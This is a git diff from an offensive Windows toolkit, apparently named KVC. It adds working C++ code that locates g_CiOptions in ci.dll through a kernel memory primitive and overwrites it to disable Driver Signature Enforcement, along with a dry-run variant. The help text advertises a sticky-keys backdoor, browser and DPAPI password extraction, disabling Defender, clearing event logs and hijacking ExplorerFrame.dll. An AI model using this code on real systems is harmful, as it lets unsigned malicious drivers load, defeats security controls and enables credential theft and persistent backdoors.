(!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); + return false; + } + + // Verify test write + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != m_originalValue) { + ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", + m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); + ERROR(L"[DSE] Memory region appears to be protected or monitored"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed - memory is writable"); + + // Step 5: Disable DSE by setting to 0 + DWORD newValue = 0x0; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the actual change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); + return false; + } + + SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: Test write capability before modification + DEBUG(L"[DSE] Testing write capability before restoration..."); + if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { + ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); + return false; + } + + auto testRead = m_rtc->Read32(m_ciOptionsAddr); + if (!testRead || testRead.value() != currentValue) { + ERROR(L"[DSE] Memory test verification failed"); + return false; + } + + DEBUG(L"[DSE] Write capability test passed"); + + // Step 5: Restore to original value or default (0x6) + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + + if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { + ERROR(L"[DSE] Failed to write g_CiOptions"); + return false; + } + + // Step 6: Verify the change + auto verify = m_rtc->Read32(m_ciOptionsAddr); + if (!verify || verify.value() != newValue) { + ERROR(L"[DSE] Verification failed"); + return false; + } + + SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" + return std::nullopt; + } + + // Get PE header offset (e_lfanew) + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { // "PE" + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // Debug: List all sections for diagnostic purposes + DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Search for CiPolicy section specifically + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + // Look for CiPolicy section by name + if (strcmp(name, "CiPolicy") == 0) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/DSEBypass_write.cpp b/kvc/DSEBypass_write.cpp new file mode 100644 index 0000000..80a444f --- /dev/null +++ b/kvc/DSEBypass_write.cpp @@ -0,0 +1,358 @@ +#include "DSEBypass.h" +#include "common.h" + +#pragma comment(lib, "ntdll.lib") + +// Kernel module structures (same as in Utils.cpp) +typedef struct _SYSTEM_MODULE { + ULONG_PTR Reserved1; + ULONG_PTR Reserved2; + PVOID ImageBase; + ULONG ImageSize; + ULONG Flags; + USHORT LoadOrderIndex; + USHORT InitOrderIndex; + USHORT LoadCount; + USHORT PathLength; + CHAR ImageName[256]; +} SYSTEM_MODULE, *PSYSTEM_MODULE; + +typedef struct _SYSTEM_MODULE_INFORMATION { + ULONG Count; + SYSTEM_MODULE Modules[1]; +} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; + +DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} + +bool DSEBypass::DisableDSE() noexcept { + INFO(L"[DSE] [DRY RUN MODE] Attempting to disable Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); + + // Step 2: Locate g_CiOptions in CiPolicy section + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value and store as original + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + m_originalValue = current.value(); + INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); + + // Step 4: DRY RUN - Show what would be written for test + DWORD newValue = 0x0; + INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", + m_originalValue, m_originalValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + // Step 5: DRY RUN - Show what would be written for actual disable + INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (disable DSE)", + m_originalValue, newValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + SUCCESS(L"[DSE] [DRY RUN] DSE disable simulation completed (NO actual write performed)"); + SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", + m_ciOptionsAddr, newValue); + + return true; +} + +bool DSEBypass::RestoreDSE() noexcept { + INFO(L"[DSE] [DRY RUN MODE] Attempting to restore Driver Signature Enforcement..."); + + // Step 1: Find ci.dll base address + auto ciBase = GetKernelModuleBase("ci.dll"); + if (!ciBase) { + ERROR(L"[DSE] Failed to locate ci.dll"); + return false; + } + + // Step 2: Locate g_CiOptions + m_ciOptionsAddr = FindCiOptions(ciBase.value()); + if (!m_ciOptionsAddr) { + ERROR(L"[DSE] Failed to locate g_CiOptions"); + return false; + } + + INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); + + // Step 3: Read current value + auto current = m_rtc->Read32(m_ciOptionsAddr); + if (!current) { + ERROR(L"[DSE] Failed to read g_CiOptions"); + return false; + } + + DWORD currentValue = current.value(); + INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); + + // Step 4: DRY RUN - Show what would be written for test + INFO(L"[DSE] [DRY RUN] WOULD write test: 0x%08X -> 0x%08X (same value test)", + currentValue, currentValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + // Step 5: DRY RUN - Show what would be written for restore + DWORD newValue = m_originalValue ? m_originalValue : 0x6; + INFO(L"[DSE] [DRY RUN] WOULD write actual: 0x%08X -> 0x%08X (restore DSE)", + currentValue, newValue); + INFO(L"[DSE] [DRY RUN] Target address: 0x%llX", m_ciOptionsAddr); + + SUCCESS(L"[DSE] [DRY RUN] DSE restore simulation completed (NO actual write performed)"); + SUCCESS(L"[DSE] [DRY RUN] If this succeeded, the real write would be: 0x%llX := 0x%08X", + m_ciOptionsAddr, newValue); + + return true; +} + +std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { + HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); + if (!hNtdll) { + ERROR(L"[DSE] Failed to get ntdll.dll handle"); + return std::nullopt; + } + + typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( + ULONG SystemInformationClass, + PVOID SystemInformation, + ULONG SystemInformationLength, + PULONG ReturnLength + ); + + auto pNtQuerySystemInformation = reinterpret_cast( + GetProcAddress(hNtdll, "NtQuerySystemInformation")); + + if (!pNtQuerySystemInformation) { + ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); + return std::nullopt; + } + + // First call to get required buffer size + ULONG bufferSize = 0; + NTSTATUS status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + nullptr, + 0, + &bufferSize + ); + + if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH + ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); + return std::nullopt; + } + + // Allocate buffer and get module list + auto buffer = std::make_unique(bufferSize); + auto modules = reinterpret_cast(buffer.get()); + + status = pNtQuerySystemInformation( + 11, // SystemModuleInformation + modules, + bufferSize, + &bufferSize + ); + + if (status != 0) { + ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); + return std::nullopt; + } + + INFO(L"[DSE] Found %d kernel modules", modules->Count); + + // Debug: Show first 10 modules for diagnostic purposes + DEBUG(L"[DSE] Listing first 10 kernel modules:"); + for (ULONG i = 0; i < modules->Count && i < 10; i++) { + auto& mod = modules->Modules[i]; + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) fileName++; + else fileName = mod.ImageName; + + DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, + reinterpret_cast(mod.ImageBase)); + } + + // Search for target module by name + for (ULONG i = 0; i < modules->Count; i++) { + auto& mod = modules->Modules[i]; + + // Extract filename from full path + const char* fileName = strrchr(mod.ImageName, '\\'); + if (fileName) { + fileName++; // Skip backslash + } else { + fileName = mod.ImageName; + } + + if (_stricmp(fileName, moduleName) == 0) { + ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); + + // Validate base address is not NULL + if (baseAddr == 0) { + ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); + continue; // Keep searching in case of duplicates + } + + DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); + return baseAddr; + } + } + + ERROR(L"[DSE] Module %S not found in kernel", moduleName); + return std::nullopt; +} + +ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { + DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); + + // Get CiPolicy section information + auto dataSection = GetDataSection(ciBase); + if (!dataSection) { + ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); + return 0; + } + + ULONG_PTR dataStart = dataSection->first; + SIZE_T dataSize = dataSection->second; + + DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); + + // g_CiOptions is always at offset +4 in CiPolicy section + // This is a documented offset used by all DSE bypass tools + ULONG_PTR ciOptionsAddr = dataStart + 0x4; + + // Verify we can read from this address + auto currentValue = m_rtc->Read32(ciOptionsAddr); + if (!currentValue) { + ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); + return 0; + } + + DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); + return ciOptionsAddr; +} + +std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { + // Read DOS header (MZ signature) + auto dosHeader = m_rtc->Read16(moduleBase); + if (!dosHeader || dosHeader.value() != 0x5A4D) { // "MZ" + return std::nullopt; + } + + // Get PE header offset (e_lfanew) + auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); + if (!e_lfanew || e_lfanew.value() > 0x1000) { + return std::nullopt; + } + + ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); + + // Verify PE signature + auto peSignature = m_rtc->Read32(ntHeaders); + if (!peSignature || peSignature.value() != 0x4550) { // "PE" + return std::nullopt; + } + + // Get section count + auto numSections = m_rtc->Read16(ntHeaders + 0x6); + if (!numSections || numSections.value() > 50) { + return std::nullopt; + } + + auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); + if (!sizeOfOptionalHeader) return std::nullopt; + + ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); + + // Debug: List all sections for diagnostic purposes + DEBUG(L"[DSE] Listing ALL sections in ci.dll:"); + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name (8 bytes) + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + auto characteristics = m_rtc->Read32(sectionHeader + 0x24); + + if (virtualSize && virtualAddr && characteristics) { + DWORD chars = characteristics.value(); + bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE + + DEBUG(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", + i, name, virtualAddr.value(), virtualSize.value(), chars, + writable ? L"[WRITABLE]" : L"[READ-ONLY]"); + } + } + + // Search for CiPolicy section specifically + for (WORD i = 0; i < numSections.value(); i++) { + ULONG_PTR sectionHeader = firstSection + (i * 40); + + // Read section name + char name[9] = {0}; + for (int j = 0; j < 8; j++) { + auto ch = m_rtc->Read8(sectionHeader + j); + if (ch) name[j] = static_cast(ch.value()); + } + + auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); + auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); + + if (virtualSize && virtualAddr) { + // Look for CiPolicy section by name + if (strcmp(name, "CiPolicy") == 0) { + DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", + virtualAddr.value(), virtualSize.value()); + + return std::make_pair( + moduleBase + virtualAddr.value(), + static_cast(virtualSize.value()) + ); + } + } + } + + ERROR(L"[DSE] CiPolicy section not found in ci.dll"); + return std::nullopt; +} + +bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { + // Simplified validation - address should be within module bounds + // Maximum reasonable module size is 2MB + return (addr > moduleBase && addr < moduleBase + 0x200000); +} + +DWORD DSEBypass::GetWindowsBuild() noexcept { + OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; + + typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); + RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( + GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); + + if (RtlGetVersion) { + RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); + return osInfo.dwBuildNumber; + } + + return 0; +} \ No newline at end of file diff --git a/kvc/HelpSystem.cpp b/kvc/HelpSystem.cpp index 610df6c..45d4b3f 100644 --- a/kvc/HelpSystem.cpp +++ b/kvc/HelpSystem.cpp @@ -23,6 +23,7 @@ void HelpSystem::PrintUsage(std::wstring_view programName) noexcept PrintDefenderCommands(); PrintSecurityEngineCommands(); PrintDPAPICommands(); + PrintWatermarkCommands(); PrintProtectionTypes(); PrintExclusionTypes(); PrintPatternMatching(); @@ -226,6 +227,17 @@ void HelpSystem::PrintDPAPICommands() noexcept std::wcout << L"\n"; } +void HelpSystem::PrintWatermarkCommands() noexcept +{ + PrintSectionHeader(L"Watermark Management"); + PrintCommandLine(L"watermark remove", L"Remove Windows desktop watermark (alias: wm remove)"); + PrintCommandLine(L"watermark restore", L"Restore Windows desktop watermark (alias: wm restore)"); + PrintCommandLine(L"watermark status", L"Check current watermark status (alias: wm status)"); + PrintNote(L"Hijacks ExplorerFrame.dll via registry redirection"); + PrintNote(L"Requires Administrator privileges and TrustedInstaller access"); + std::wcout << L"\n"; +} + void HelpSystem::PrintProtectionTypes() noexcept { PrintSectionHeader(L"Protection Types"); @@ -371,6 +383,12 @@ void HelpSystem::PrintUsageExamples(std::wstring_view programName) noexcept printLine(L"kvc dse on", L"Re-enable DSE for system security"); printLine(L"kvc dse", L"Check current DSE status"); + // Watermark management + printLine(L"kvc wm status", L"Check if watermark is removed or active"); + printLine(L"kvc wm remove", L"Remove Windows desktop watermark"); + printLine(L"kvc wm restore", L"Restore original Windows watermark"); + printLine(L"kvc watermark remove", L"Full command syntax (same as 'wm remove')"); + // System backdoors printLine(L"kvc shift", L"Install sticky keys backdoor"); printLine(L"kvc unshift", L"Remove sticky keys backdoor"); diff --git a/kvc/HelpSystem.h b/kvc/HelpSystem.h index f8f3cf6..2d12eba 100644 --- a/kvc/HelpSystem.h +++ b/kvc/HelpSystem.h @@ -1,425 +1,55 @@ -/** - * @file HelpSystem.h - * @brief Comprehensive help system with modular command documentation - * @author Marek Wesolowski - * @date 2025 - * @copyright KVC Framework - * - * Provides formatted help output with color-coded sections, usage examples, - * and detailed command explanations. - * Modular design allows displaying specific help sections as needed. - */ +// HelpSystem.h +// Comprehensive help system with modular command documentation +// Author: Marek Wesolowski, 2025 #pragma once #include "common.h" #include -/** - * @class HelpSystem - * @brief Comprehensive help system for KVC with modular command documentation - * - * Features: - * - Color-coded section headers for readability - * - Categorized command listings by functionality - * - Detailed parameter explanations - * - Usage examples with real scenarios - * - Technical feature documentation - * - Security notices and warnings - * - * Help Categories: - * - Basic commands (help, list, info) - * - Process protection (protect, unprotect, set) - * - Process termination (kill) - * - Windows Defender management - * - DPAPI password extraction - * - Browser credential extraction - * - Service management - * - Registry operations - * - Security engine control - * - * @note Static class - no instantiation required - * @note Uses ANSI color codes for enhanced readability - */ +// Static help system - no instantiation needed class HelpSystem { public: - HelpSystem() = delete; ///< Constructor deleted - static class - ~HelpSystem() = delete; ///< Destructor deleted - static class + HelpSystem() = delete; + ~HelpSystem() = delete; - // === Main Help Interface === - - /** - * @brief Print complete usage information - * @param programName Program name for display in examples - * - * Displays all help sections in organized format: - * 1. Program header with version and author - * 2. Basic command documentation - * 3. Process protection commands - * 4. System commands - * 5. Process termination commands - * 6. Windows Defender commands - * 7. DPAPI extraction commands - * 8. Browser extraction commands - * 9. Service management commands - * 10. Protection type explanations - * 11. Usage examples - * 12. Security notice and footer - * - * @note Comprehensive help covering all framework features - */ + // Main help interface static void PrintUsage(std::wstring_view programName) noexcept; - - /** - * @brief Print header with version and author info - * - * Displays KVC banner with ASCII art, version information, - * author credits, and copyright notice. - * - * @note Uses color coding for visual appeal - */ static void PrintHeader() noexcept; - - /** - * @brief Print basic command documentation - * - * Commands covered: - * - help: Display help information - * - list: List protected processes - * - info: Show process protection information - * - * @note Basic commands available without special privileges - */ - static void PrintBasicCommands() noexcept; - - /** - * @brief Print process protection command documentation - * - * Commands covered: - * - protect: Add protection to unprotected process - * - unprotect: Remove protection from process - * - set: Force set protection level (overwrite) - * - set-signer: Change protection for specific signer - * - restore: Restore protection from session - * - * @note Requires driver and appropriate privileges - */ - static void PrintProtectionCommands() noexcept; - - /** - * @brief Print system command documentation - * - * Commands covered: - * - dump: Dump process memory to file - * - elevate: Elevate current process protection - * - clear-logs: Clear Windows event logs - * - * @note Advanced operations requiring high privileges - */ - static void PrintSystemCommands() noexcept; - - /** - * @brief Print process termination command documentation - * - * Commands covered: - * - kill: Terminate process with protection matching - * - kill multiple: Terminate multiple processes - * - * @note Supports both PID and name-based targeting - */ - static void PrintProcessTerminationCommands() noexcept; - - /** - * @brief Print Windows Defender command documentation - * - * Commands covered: - * - defender-enable: Enable Windows Defender exclusions - * - defender-disable: Disable Windows Defender exclusions - * - defender-add: Add specific exclusion - * - defender-remove: Remove specific exclusion - * - * @note Requires TrustedInstaller privileges for some operations - */ - static void PrintDefenderCommands() noexcept; - - /** - * @brief Print DPAPI extraction command documentation - * - * Commands covered: - * - extract-passwords: Extract passwords from Chrome/Edge/WiFi - * - master-keys: Display extracted master keys - * - decrypt: Decrypt specific DPAPI blob - * - * @note Requires TrustedInstaller privileges for registry access - */ - static void PrintDPAPICommands() noexcept; - - /** - * @brief Print browser credential extraction documentation - * - * Commands covered: - * - chrome-passwords: Extract Chrome passwords only - * - edge-passwords: Extract Edge passwords only - * - browser-all: Extract from all supported browsers - * - * @note Uses SQLite and AES-GCM decryption for browser data - */ - static void PrintBrowserCommands() noexcept; - - /** - * @brief Print service management command documentation - * - * Commands covered: - * - service-install: Install as Windows Service - * - service-start: Start service - * - service-stop: Stop service - * - service-uninstall: Uninstall service - * - * @note Requires administrative privileges - */ - static void PrintServiceCommands() noexcept; - - /** - * @brief Print protection type documentation - * - * Explains PP (Protected Process) and PPL (Protected Process Light) - * concepts, including: - * - Protection level differences - * - Signer type authorities - * - Signature verification levels - * - Practical implications - * - * @note Technical background for protection operations - */ - static void PrintProtectionTypes() noexcept; - - /** - * @brief Print Defender exclusion type documentation - * - * Explains different exclusion types: - * - Paths: File and folder exclusions - * - Processes: Process name exclusions - * - Extensions: File extension exclusions - * - IPs: IP address exclusions - * - * @note Used with defender-add and defender-remove commands - */ - static void PrintExclusionTypes() noexcept; - - /** - * @brief Print pattern matching documentation - * - * Explains wildcard and regex support in process targeting: - * - Partial name matching - * - Case-insensitive matching - * - Multiple target specification - * - Comma-separated lists - * - * @note Used in process targeting commands - */ - static void PrintPatternMatching() noexcept; - - /** - * @brief Print technical features documentation - * - * Explains advanced technical features: - * - Kernel offset discovery - * - EPROCESS structure manipulation - * - Driver communication - * - TrustedInstaller integration - * - Session state tracking - * - * @note For advanced users and developers - */ - static void PrintTechnicalFeatures() noexcept; - - /** - * @brief Print unknown command message - * @param command Unknown command that was entered - * - * Displays friendly error message when unknown command is entered. - * Suggests using 'help' command for available options. - * - * @note User-friendly error handling - */ static void PrintUnknownCommandMessage(std::wstring_view command) noexcept; - /** - * @brief Print Defender-specific notes and warnings - * - * Important information about Defender exclusion management: - * - Real-time protection implications - * - Exclusion persistence across reboots - * - Security considerations - * - Best practices - * - * @note Security-focused guidance - */ - static void PrintDefenderNotes() noexcept; - - /** - * @brief Print registry operation command documentation - * - * Commands covered: - * - registry-backup: Backup registry hives - * - registry-restore: Restore registry hives - * - registry-defrag: Defragment registry - * - * @note Requires TrustedInstaller privileges - */ - static void PrintRegistryCommands() noexcept; - - /** - * @brief Print security engine command documentation - * - * Commands covered: - * - security-disable: Disable Windows Defender engine - * - security-enable: Enable Windows Defender engine - * - security-status: Check security engine status - * - * @note Advanced system modification - use with caution - */ - static void PrintSecurityEngineCommands() noexcept; - - /** - * @brief Print DSE (Driver Signature Enforcement) command documentation - * - * Commands covered: - * - dse off: Disable Driver Signature Enforcement - * - dse on: Enable Driver Signature Enforcement - * - dse: Check DSE status - * - * @note Modifying DSE is an advanced system operation and may cause instability or BSOD. Use with extreme caution. - */ - - static void PrintDSECommands() noexcept; - - - /** - * @brief Print session management documentation - * - * Explains boot session tracking and restoration: - * - Session state persistence - * - Automatic reboot detection - * - Protection state restoration - * - Session cleanup operations - * - * @note Cross-boot state tracking feature - */ + // Command category sections + static void PrintServiceCommands() noexcept; + static void PrintDSECommands() noexcept; + static void PrintBasicCommands() noexcept; + static void PrintProcessTerminationCommands() noexcept; + static void PrintProtectionCommands() 